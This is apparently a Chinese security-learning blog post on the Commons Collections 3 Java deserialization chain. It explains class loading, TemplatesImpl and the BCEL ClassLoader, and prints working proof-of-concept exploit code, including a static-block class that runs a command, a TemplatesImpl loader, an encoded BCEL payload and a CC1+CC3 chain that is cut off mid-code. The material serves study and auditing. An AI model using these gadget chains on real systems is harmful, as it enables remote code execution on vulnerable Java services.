Commons Collections 3 分析

CC3这条链子的思路是用了我们一开始学的java的类的动态加载,如果我们的链子总是依赖ChainedTransformer的transform方法,利用反射将多个Invoketranfoemer来进行的执行命令这样的思路,要是Invoketranfoemer类进入了黑名单,这样整条链子就不能用了。

为了摆脱这样的限制,CC3链子的这种思路就应运而生了。

环境

1
2
Commons Collections3.2.1
jdkjdk8u231

Maven 依赖示例:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

前置知识

JVM 的 ClassLoader 机制

JVM 里都有哪些 ClassLoader?

三大“官方”ClassLoader

  1. BootstrapClassLoader(启动类加载器)

    • 用 C/C++ 写的,​不是 Java 对象,所以你在代码里拿不到一个 BootstrapClassLoader 实例。

    • 负责加载:

      • JAVA_HOME/jre/lib 下的 ​核心类库,比如 rt.jar 中的 java.lang.*java.util.* 等。
    • 特点:最顶层,其他 ClassLoader 的“爸爸”。

  2. ExtensionClassLoader(扩展类加载器) (有的实现叫 PlatformClassLoader

    • 父亲是:Bootstrap
    • 加载 JAVA_HOME/jre/lib/ext 或者 java.ext.dirs 指定路径下的 JAR。
  3. AppClassLoader / SystemClassLoader(应用类加载器)

    • 父亲是:Extension
    • 加载 -classpath-cpCLASSPATH 指定的类和 JAR。
    • 我们写的一般 Java 程序默认都是它来加载的。

自定义 ClassLoader

任何你 extends ClassLoader,或者 extends URLClassLoader 实现的类,都是​应用自定义类加载器

  • 用于:插件机制、脚本引擎、热加载、隔离不同模块依赖等。
  • 也常常是​安全审计的重点:因为很多 gadget 链最后就是靠某个自定义 ClassLoader 把恶意字节码变成 Class 然后执行。

类加载的过程

这块在审计时,主要用来推断​什么时候会执行静态代码块 / 静态字段初始化(很多 RCE 就埋在 <clinit> 或静态初始化里)。

一个类从“字节码”到“可用的 Class 对象”,大致经过这些阶段:

  1. 加载(Loading)

    • 通过某个 ClassLoader 找到 .class 的字节码(来源可以是文件、JAR、网络、内存)。
    • 调用 defineClass(byte[] b, int off, int len, ...) 把 byte[] 变成 JVM 里的 Class<?>
1
2
3
4
5
6
flowchart TD
A[JVM 需要某个类] --> B{方法区是否已有类信息?}
B -->|是| C[直接使用已加载的类]
B -->|否| D[类加载器读取字节码]
D --> E[将类信息放入方法区(元空间)]
E --> F[初始化阶段]
  1. 链接(Linking)
  • 验证(Verify) :字节码合法性检查,是否符合 JVM 规范(防止随便写乱七八糟的字节码把 JVM 搞崩)。
  • 准备(Prepare) :为静态字段分配内存,设置默认值(0 / null / false)。
  • 解析(Resolve) :把常量池里的符号引用(类名、方法名、字段名)解析成实际引用。
  1. 初始化(Initialization)
  • 执行类变量的显式赋值、静态代码块:

    1
    2
    static int x = initX();
    static { doSomethingDangerous(); }
  • 正是这一步会触发很多 gadget 的恶意逻辑。

顺序总结为:
** 父静态 → 子静态 → 父实例 → 父构造 → 子实例 → 子构造 **

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package org.ysoserial.CC3;

public class Test {
public static void main(String[] args) {

// 第一次真正使用 Child 类 → 触发类加载 + 初始化
new Child();
}

// ===================== 父类 =====================
static class Parent {

// 【父类静态代码块】
// 在 Parent 类初始化阶段执行(只执行一次)
static {
System.out.println("Parent static");
}

// 【父类静态变量初始化】
// 仍属于类初始化(在所有静态代码块之后,按顺序赋值)
static int pStaticValue = initPStaticValue();

private static int initPStaticValue() {
System.out.println("Parent static pStaticValue");
return 1;
}

// 【父类实例代码块】
// 在 new Parent() 或 new Child() 时执行
// 顺序为:父实例变量初始化 → 父实例代码块 → 父构造方法
{
System.out.println("Parent instance block");
}

// 【父类实例变量初始化】
// 属于对象实例化流程的一部分
int pValue = initPValue();

private int initPValue() {
System.out.println("Parent instance pValue");
return 10;
}

// 【父类构造方法】
// 父类实例初始化的最后一步
public Parent() {
System.out.println("Parent constructor");
}
}

// ===================== 子类 =====================
static class Child extends Parent {

// 【子类静态代码块】
// 在 Child 类初始化阶段执行(只执行一次)
static {
System.out.println("Child static");
}

// 【子类静态变量初始化】
static int cStaticValue = initCStaticValue();

private static int initCStaticValue() {
System.out.println("Child static cStaticValue");
return 2;
}

// 【子类实例代码块】
// 执行顺序:父初始化全部完成 → 子实例变量初始化 → 子实例代码块 → 子构造方法
{
System.out.println("Child instance block");
}

// 【子类实例变量初始化】
int cValue = initCValue();

private int initCValue() {
System.out.println("Child instance cValue");
return 20;
}

// 【子类构造方法】
public Child() {
System.out.println("Child constructor");
}
}
}

运行结果

image

审计提示:
看到代码里有 Class.forName(...)ClassLoader.loadClass(...),要问自己:

  • 这个类是不是​一加载就会初始化
  • 有没有静态块 / 静态字段的恶意逻辑?

双亲委派机制(Parents Delegation Model)

双亲委派机制是 JVM 类加载体系的基础,几乎所有 Java 框架都会围绕它进行扩展或隔离。

典型 loadClass 的执行流程

ClassLoader.loadClass(String name, boolean resolve) 的默认实现严格遵循双亲委派机制,其逻辑如下:

  1. 先检查自身缓存中是否已经加载过(避免重复加载)。
  2. 将类加载请求委派给父类加载器去处理(双亲委派)。
  3. 如果父加载器层层向上仍然找不到该类,​才由当前加载器调用 findClass进行实际加载

为什么需要双亲委派?

双亲委派模型的出现主要基于安全性和一致性两大考虑:

  • 防止应用覆盖 JDK 核心类(如自定义 java.lang.String)。
  • 保证 java.* 等核心类由 BootstrapClassLoader 统一加载,确保系统行为一致。

审计角度的关键点

在代码审计(尤其是反序列化链与 ClassLoader 相关的链子)中必须关注:

  • 自定义 ClassLoader 是否​重写了 loadClass
  • 是否​不再遵循双亲委派模型(例如直接调用 findClass、跳过 super.loadClass);

因为打破双亲委派机制可能导致:

  • 同名类冲突
  • 覆盖行为(某些插件框架故意破坏双亲委派,实现自己的“类优先”逻辑);
  • 更严重的是:可能为恶意字节码加载打开入口。

findClassdefineClass:真正的危险区域

和 CC3 等反序列化链相关时,最需要审计的就是这两个方法。

findClass(String name)

findClass 是自定义类加载器实际执行“​字节码读取 → 加载”的地方:

1
2
3
4
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] b = getClassBytesFromSomewhere(name);
return defineClass(name, b, 0, b.length);
}

审计关键点:

  • 字节码来源(文件、HTTP、数据库、用户输入)是否可被攻击者控制;
  • 是否存在“字节码拼装 → defineClass” 的链路;
  • 如果字节码可控,即 ​任意类加载 → 任意代码执行

defineClass(...) —— byte[] 变成 Class 的最终入口

常见签名:

1
2
3
4
5
6
protected final Class<?> defineClass(String name, byte[] b,
int off, int len,
ProtectionDomain pd);

protected final Class<?> defineClass(String name, ByteBuffer b,
ProtectionDomain pd);

特点:

  • defineClass 是 JVM 层面真正把字节数组转换为 Class 的关键 API。

  • 其访问限制通常是 protected final,因此大多数利用链需要:

    • 反射调用 defineClass
    • 或通过已有的封装 API(如 URLClassLoader#defineClassTemplatesImpl#defineTransletClasses

审计重点:

  • 是否出现类似的反射调用:

    1
    2
    3
    4
    Method m = ClassLoader.class.getDeclaredMethod(
    "defineClass", byte[].class, int.class, int.class);
    m.setAccessible(true);
    Class<?> clazz = (Class<?>) m.invoke(classLoader, bytes, 0, bytes.length);
  • bytes 是否来自攻击者可控来源;

  • 加载完后是否会:

    • 触发类初始化(静态块 / 静态字段)
    • 立即实例化执行构造方法 / 某些回调方法

动态加载字节码

严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中

而字节码的诞生是为了让 JVM 的流通性更强,可以看下面图理解一下

image

loadClass() 不会初始化类

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.ysoserial.CC3;

public class Test1 {
public static void main(String[] args)
throws InstantiationException, IllegalAccessException, ClassNotFoundException {
System.out.println("=== 调用 ClassLoader.loadClass ===");
Class<?> clazz = Test1.class.getClassLoader().loadClass("org.ysoserial.CC3.Demo");
System.out.println(clazz);
System.out.println("=== loadClass结束 ===");
Object obj = clazz.newInstance(); // 触发 <clinit>()
}
}

class Demo{
static {
System.out.println("Demo static");
}
static int value = initValue();
private static int initValue() {
System.out.println("initValue");
return 123;
}

public Demo(){
System.out.println("Demo constructor");
}
}

输出为

image

调用 loadClass() 后,Demo 的静态代码块不执行,说明loadClass 不会初始化类

双亲委派机制类加载访问流程:

1
2
3
4
5
ClassLoader   # 抽象基类,规定了类加载的基本行为,比如 loadClass(),defineClass() 等
—-> SecureClassLoader # 会给类关联 CodeSource、ProtectionDomain,用于权限控制
-—> URLClassLoader # 能从 URL 列表 里加载类和资源:支持 file://、http://、jar:file:...!/ 等 实现了 findClass(),从这些 URL 里去找字节码

—-> APPClassLoader # JDK 启动时给“应用层”用的那个类加载器,默认负责加载 classpath 里的类。它继承 URLClassLoader,所以也能从 URL 里找类

loadClass() → findClass() → defineClass()

  • loadClass(name)
    对外暴露的入口,负责实现双亲委派、缓存等逻辑,一般​不推荐重写

  • findClass(name)
    真正“去某个地方找字节码”的地方。
    通常我们自定义 ClassLoader 时​重写这个方法,比如:

    • 去某个目录文件里 name.replace('.', '/') + ".class" 读字节
    • 去数据库里查
    • 去网络请求拿
  • defineClass(name, byte[], off, len, ProtectionDomain)
    这是把​一坨字节码真正变成 Class<?>对象的关键方法
    findClass() 通常就是:

    1. 把 class 字节码读进来
    2. defineClass(...) 得到 Class<?>
    3. 返回给 loadClass()

典型写法:

1
2
3
4
5
6
7
8
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] bytes = loadClassBytesFromWherever(name); // 自己实现
if (bytes == null) {
throw new ClassNotFoundException(name);
}
return defineClass(name, bytes, 0, bytes.length);
}

双亲委派逻辑在 loadClass(),自定义加载来源在 findClass(),字节码变 Class在 defineClass()


URLClassLoader 任意类加载:file/http/jar

demo

1
2
3
4
5
6
7
8
9
URL[] urls = new URL[] {
new URL("file:/path/to/lib/some-lib.jar"),
new URL("file:/path/to/classes/"),
new URL("http://example.com/some-remote-lib.jar")
};
URLClassLoader loader = new URLClassLoader(urls, parentClassLoader);

Class<?> clazz = loader.loadClass("com.example.Foo");
Object obj = clazz.getDeclaredConstructor().newInstance();

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类


ClassLoader.defineClass:字节码加载任意类

只要你有字节码(比如 ASM/Javassist 生成的,或者你自己从网络/数据库拿的),
就可以通过 defineClass 把它变为 JVM 里的一个真实类。

例如:

1
2
3
4
5
6
7
8
9
byte[] bytecode = ...; // 已经准备好的字节码
ClassLoader loader = ...; // 通常是你自己的 ClassLoader 或当前线程上下文 ClassLoader

Class<?> dynamicClass = loader.defineClass(
"com.example.DynamicClass",
bytecode,
0,
bytecode.length
);

注意几点:

  • 类名要唯一,不能和同一个 ClassLoader 里已加载的类撞名(否则抛异常)。
  • 包名要和 class 字节码里的保持一致。
  • 如果包是 sealed(密封包),还要符合那套规则。

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。在后面 CC3中将会学到

Unsafe.defineClass:更底层的加载方式

UnSafe.defineClass 字节码加载任意类 虽是public类,但不能直接生成 Spring里可以直接生成

这里说的是 sun.misc.Unsafe / jdk.internal.misc.Unsafe 里的 defineClass

1
2
3
4
5
6
7
8
public native Class<?> defineClass(
String name,
byte[] b,
int off,
int len,
ClassLoader loader,
ProtectionDomain protectionDomain
);

功能和 ClassLoader.defineClass 很像:
也是“字节码 → Class”,但是:

  1. 这是 ​JDK 内部类,普通应用不能直接用:

    • 类在 sun.misc / jdk.internal.misc 包里
    • Java 9+ 模块化后访问还会被限制(非法反射访问,强警告)
  2. Unsafe 实例不能正常 new

    • 构造器是 private
    • Unsafe.getUnsafe() 只允许由引导类加载器(bootstrap)加载的类调用
    • 普通应用代码调用会抛 SecurityException

怎么使用?

像 Spring / ByteBuddy / Netty 等框架,通常会:

  • 通过反射绕过限制拿到 Unsafe 单例,例如:

    1
    2
    3
    Field f = Unsafe.class.getDeclaredField("theUnsafe");
    f.setAccessible(true);
    Unsafe unsafe = (Unsafe) f.get(null);
  • 然后再用 unsafe.defineClass(...) 来加载动态生成的字节码。

为什么要这么干?因为:

  • Unsafe.defineClass 绕过了一些标准限制,控制更细粒度(比如定义在特定的 ClassLoaderProtectionDomain 下)。
  • 某些场景(特别是 Java 9+ 模块化、代理、字节码增强)里,可以规避部分 ClassLoader 限制,或者获得更底层能力。

不过现代 Spring(尤其结合 ByteBuddy 等字节码工具)更多还是:

  • ClassLoader.defineClass
  • 或者利用 JDK 的标准代理 / MethodHandles.Lookup.defineClass 等新 API;

TemplatesImpl 加载字节码

基本知识

JDK 范围 TemplatesImpl 是否存在 反射写私有字段(_bytecodes) 可作为反序列化 RCE Gadget 说明
8 ✔ 允许 ✔ 可利用 完全开放反射时代
9–15 ⚠ 名义封装,但默认仍允许(非法访问仅警告) ✔ 可利用 --illegal-access=permit默认开启
16–21(含 LTS) ❌ 默认被强封装禁止 ❌ 默认不可利用 --add-opens才能恢复利用

所在包路径

1
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

在jdk8之前,所在的jar包地址为:$JAVA_HOME/jre/lib/rt.jar
JDK 9+ ,它属于模块java.xml,源文件在 jdk/modules/java.xml


TemplatesImpl来自 JDK 自带的 Xalan XSLT 引擎。

XSLT 文件会被编译成 Java 字节码类(Translet),运行时需要把这些字节码加载进 JVM 执行。

为了能加载自己生成的字节码,于是TemplatesImpl自己写了一个类加载器:

1
class TransletClassLoader extends ClassLoader

其中 关键点 是:

原本 ClassLoader#defineClass 方法是 protected, 外部类不能随便调用。但 TransletClassLoader 把它重写成 default(包可见) 它没有写 public、protected、private,所以是 default(package-private)

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

这样一来,TemplatesImpl 自己就能直接调用它来加载任意字节码。

image

TemplatesImpl调用链解析

看看TemplatesImpl里哪里调用了defineClass

image

defineTransletClasses()调用了,可惜属性是 private

1
private void defineTransletClasses()

找哪里调用了defineTransletClasse()

image

其中,getTransletInstance()对_class进行判断,若为空,赋值。还调用了newInstance()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

这个类也是private的,我们再往上找,找到newTransformer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

这个类是public的。最终的调用链为:

1
2
3
4
5
6
7
/*
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
*/

TemplatesImpl调用链利用

newTransformer()开始

image

会直接调用 getTransletInstance(),跟进

image

需要对_name赋值,不能赋值 _class,跟进defineTransletClasses()

image

需要对_bytecodes赋值(这里需要的是byte[][] 但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码),_tfactory也需要赋值

exp

构建一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.ysoserial.CC3;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EVil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static {
try{
Runtime.getRuntime().exec("open -a calculator");
}catch(Exception e){
throw new RuntimeException(e);
}
}
}

编译为class文件

1
javac EVil.java

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.ysoserial.CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TmplatesImpl_demo{
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","test");
byte[] code = Files.readAllBytes(Paths.get("./src/main/java/org/ysoserial/CC3/Evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}

public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = object.getClass();
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(object, value);
}
}

image


BCEL ClassLoader 加载字节码

BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用:

  • Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java 文件生成字节码
  • Utility 用于将原生的字节码转换成BCEL格式的字节码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example.CC3;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class BCELClassLoaderRce {
public static void main(String[] args) throws ClassNotFoundException, IOException {
Class<?> clazz = Class.forName("org.example.CC3.Evil");
JavaClass javaclass = Repository.lookupClass(clazz);
String code = Utility.encode(javaclass.getBytes(),true);
System.out.println(code);
}
}

BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们尝试直接写入

1
2
3
4
5
6
7
8
9
10
11
package org.example.CC3;

import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCEL2 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
ClassLoader loader = new ClassLoader();
Class<?> clazz = loader.loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$adT$5bO$TA$U$fe$86$d6n$5b$5b$d1$C$F$f1$86W$K$K$a3$C$s$a6D$c5$82$91$d8$aa$b1$N$c6$f84l$87vu$_$cd$ec$W$h$7f$90$3e$f3$a2F$T$7d$f7G$Z$cfl$97$d2H$T$40m$d2$b9$9cs$beo$ce$f9$e6$cc$fe$fc$f5$f5$3b$80E$dcI$p$85$abi$5c$c3t$S$F$3d$cf$Y$985p$3d$8d$En$Y$9830$cf$90X$b6$5c$x$b8$c7$Q$x$ccl0$c4K$5e$5d2$M$97$zW$3em$3b$9bR$d5$c4$a6M$96$5c$d93$85$bd$n$94$a5$f7$911$k4$z$9f$n_$f6T$83$cb$8epZ$b6$e4$a5$d2$C_$db$b6$ec$oC$wP$c2$f5$b7$3c$e50$a8B$d9$f4$i$ee$b7$5d$ae$a3EK$98M$c9$3b$c2$W$$$b7$dc$40$wW$d8$bc$e3$db$81$c9W$9fU$8a$af$HF$3b$f6$5e$ac$_$v$X$dbz$_$V$afFK$RX$9e$fbX$b8u$5b$aa$a2$$$tY$f7$cc$b6$p$dd$80a$eeH$c7$T$b4$d9$e5$a1$fa$k$fe$7b2$M$e9$b5$8e$v$5b$da$e6$h$e0$M$l$8e$a6$c7$81$Z$d4$D$87$af$d6$w$x$j$cb_$t$93$I$3cu0$e8P$gZ$R$j$c3$d2_e$c1$60DZ2$ac$fc$H$r$93$cb$a6$j5$z$a3$s$i$x$bf$R$db$82$93n$N$de$d3$98$c2$b2$d5$40$98o$x$a2$V6$x$b5$3e$ddA$d5k$xS$3e$b2t$f3$a6t$93$cekl$Gi$i7p3$83$5b$b8M$ad$ee$b5$a4$3b5$t$a6J$c26$db$b6$ae$n$83$F$y2$8c$M8$89ar$cf$fa$a2$ed$G$96$p$7bN$cd$bc$c40$3a$e8$7d0$3c8l$D$a8$$$z_$d9$f4$e9E$99AM$3f$x$5bRW$df$3d$y$c5$$$a4$_$efS$fb$f2$s$85$g2$e8m$c6$K3$e5$7d1$a4l$5cv$a4$c90$5d$e8$f3V$De$b9$8db$3f$e0$b9$f2L$e9$fb$E$98$e8$8f$ac5$95$f7N_$Ju$X$$$oI_$v$fd$8b$83$e9k$a01C$3bN3$a3$f9$d8$ecg$b0$jZ$M$nKc$o4$a6p$82$c6L7$A$c38I3$95$83$iEi$f0$7d$fa$c7$b4$edO$606$ENu$9d$RP$afF0$g$fa$a9d$e4$J1$k$e53$R$d2$9e$8eh$d7C$eb$A$da$5cH$3b$dbu$O$a4$9d$c4$ZB$e8$d5Y$9c$a3$e3$f7$OH$e2$7c$af$e8$z$f2$e8$f8$f1$_$Y$ca$c5$3e$n$fe$f2$p$b2O$be$n$f1$8aT0$7e$ecD$c5g$a8$e8Xx$7c$9eV$a0$9cSD$94$a1$5d$96$88$f3$94$ef$ae$3cY$f2$5c$a0zA$3a$D$G$86$ca$G$$$a5$c8q9$ac$e0$cao$S$9a$F$y$y$G$A$A");
clazz.newInstance();
}
}

抛出异常NoClassDefFoundError: AbstractTranslet

原因分析:

在使用 BCEL 加载经 $$BCEL$$ 编码后的类时,若该类继承了:

1
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

则在类加载和链接过程中需要同时加载这个父类。

com.sun.org.apache.bcel.internal.util.ClassLoader(BCEL 自带的 ClassLoader 实现)默认不会委派给父类加载器,它只在自己的 SyntheticRepository 中查找类文件。而这个仓库不包含 JDK 标准库路径。

因此:

  • Evil.class(由 BCEL 字符串生成)能被成功 decode 并 defineClass;
  • 但在链接阶段加载父类 AbstractTranslet 时,由于 BCELClassLoader 无法访问 java.xml 模块中的相关类,因此抛出:
1
NoClassDefFoundError: AbstractTranslet

解决问题:

利用双亲委派机制,通过将 系统类加载器 作为 BCELClassLoader 的父加载器,可以使 BCELClassLoader 在无法处理某类时,将加载请求委派给系统类加载器。

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.CC3;

import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCEL2 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
// 使用系统类加载器作为父加载器,使该 ClassLoader 在处理 BCEL payload 之外的类时能够委派给系统类加载器,从而正确加载 JDK 中的 AbstractTranslet 等依赖类
ClassLoader loader = new ClassLoader(ClassLoader.getSystemClassLoader());
Class<?> clazz = loader.loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$adT$5bO$TA$U$fe$86$d6n$5b$5b$d1$C$F$f1$86W$K$K$a3$C$s$a6D$c5$82$91$d8$aa$b1$N$c6$f84l$87vu$_$cd$ec$W$h$7f$90$3e$f3$a2F$T$7d$f7G$Z$cfl$97$d2H$T$40m$d2$b9$9cs$beo$ce$f9$e6$cc$fe$fc$f5$f5$3b$80E$dcI$p$85$abi$5c$c3t$S$F$3d$cf$Y$985p$3d$8d$En$Y$9830$cf$90X$b6$5c$x$b8$c7$Q$x$ccl0$c4K$5e$5d2$M$97$zW$3em$3b$9bR$d5$c4$a6M$96$5c$d93$85$bd$n$94$a5$f7$911$k4$z$9f$n_$f6T$83$cb$8epZ$b6$e4$a5$d2$C_$db$b6$ec$oC$wP$c2$f5$b7$3c$e50$a8B$d9$f4$i$ee$b7$5d$ae$a3EK$98M$c9$3b$c2$W$$$b7$dc$40$wW$d8$bc$e3$db$81$c9W$9fU$8a$af$HF$3b$f6$5e$ac$_$v$X$dbz$_$V$afFK$RX$9e$fbX$b8u$5b$aa$a2$$$tY$f7$cc$b6$p$dd$80a$eeH$c7$T$b4$d9$e5$a1$fa$k$fe$7b2$M$e9$b5$8e$v$5b$da$e6$h$e0$M$l$8e$a6$c7$81$Z$d4$D$87$af$d6$w$x$j$cb_$t$93$I$3cu0$e8P$gZ$R$j$c3$d2_e$c1$60DZ2$ac$fc$H$r$93$cb$a6$j5$z$a3$s$i$x$bf$R$db$82$93n$N$de$d3$98$c2$b2$d5$40$98o$x$a2$V6$x$b5$3e$ddA$d5k$xS$3e$b2t$f3$a6t$93$cekl$Gi$i7p3$83$5b$b8M$ad$ee$b5$a4$3b5$t$a6J$c26$db$b6$ae$n$83$F$y2$8c$M8$89ar$cf$fa$a2$ed$G$96$p$7bN$cd$bc$c40$3a$e8$7d0$3c8l$D$a8$$$z_$d9$f4$e9E$99AM$3f$x$5bRW$df$3d$y$c5$$$a4$_$efS$fb$f2$s$85$g2$e8m$c6$K3$e5$7d1$a4l$5cv$a4$c90$5d$e8$f3V$De$b9$8db$3f$e0$b9$f2L$e9$fb$E$98$e8$8f$ac5$95$f7N_$Ju$X$$$oI_$v$fd$8b$83$e9k$a01C$3bN3$a3$f9$d8$ecg$b0$jZ$M$nKc$o4$a6p$82$c6L7$A$c38I3$95$83$iEi$f0$7d$fa$c7$b4$edO$606$ENu$9d$RP$afF0$g$fa$a9d$e4$J1$k$e53$R$d2$9e$8eh$d7C$eb$A$da$5cH$3b$dbu$O$a4$9d$c4$ZB$e8$d5Y$9c$a3$e3$f7$OH$e2$7c$af$e8$z$f2$e8$f8$f1$_$Y$ca$c5$3e$n$fe$f2$p$b2O$be$n$f1$8aT0$7e$ecD$c5g$a8$e8Xx$7c$9eV$a0$9cSD$94$a1$5d$96$88$f3$94$ef$ae$3cY$f2$5c$a0zA$3a$D$G$86$ca$G$$$a5$c8q9$ac$e0$cao$S$9a$F$y$y$G$A$A");
clazz.newInstance();
}
}

那么为什么要在前面加上 $$BCEL$$ 呢?这里引用一下P神的解释

BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode


分析链子

CC1 + TemplatesImpl 结合

这里我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer(),链子本身没变,只改变最后命令执行的方式

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.example.CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class CC1withCC3 {
public static void main(String[] args) throws Exception{

// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
// };
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","test");
byte[] code = Files.readAllBytes(Paths.get("./src/main/java/org/example/CC3/Evil.class"));
byte[][] codes = {code};
